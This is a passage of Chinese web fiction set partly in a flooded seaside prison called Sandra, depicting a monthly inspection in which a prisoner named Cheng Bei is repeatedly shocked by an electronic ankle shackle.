至少对他来说,宁可蹲牢子也不愿意去这些地方。 “您已经有想法了吗?”温纶推了推眼镜问。 “不算想法,”斯科特拧起眉问:“园区和监狱,哪里更让人难以接受?” “园区。”温纶的选择和斯科特一样。 此时,真正令人避而远之的桑德拉监狱正热闹着。 本就被厚重的云层和沙土遮蔽的天空迎来了一抹墨色,月光从夹缝中铺散,廉价的灯光包围着人群。 每月一次的例行检查开始了。 金属撞击的尖锐声几乎刺穿耳膜,狱警们“哐啷哐啷”的敲击牢门,将B区和A区的犯人全部叫了出来。 海水涨了潮,淹到犯人的脚踝处,冰冷的触感游蛇般上行,里德低声打了个喷嚏,全身哆嗦了一下。 趁这个机会把蔺言的手套扔海里,到时候就和他说弄丢了,蔺言应该不会生气吧? 正盘算着,里德就被人从身后推了一把,男人踉跄着向前走了几步,一回头,对上一双阴鸷的眸子。 程北。 脚踝上的电子镣铐已经连续发动了三次,程北痛得全身痉挛,依然不愿意服从指挥。 第四次电击,程北重重的摔在地上,模糊的视线中,他瞧见了一双沾着血的靴子。 少年清亮的嗓音掩盖在海浪声中:“你又没礼貌了。”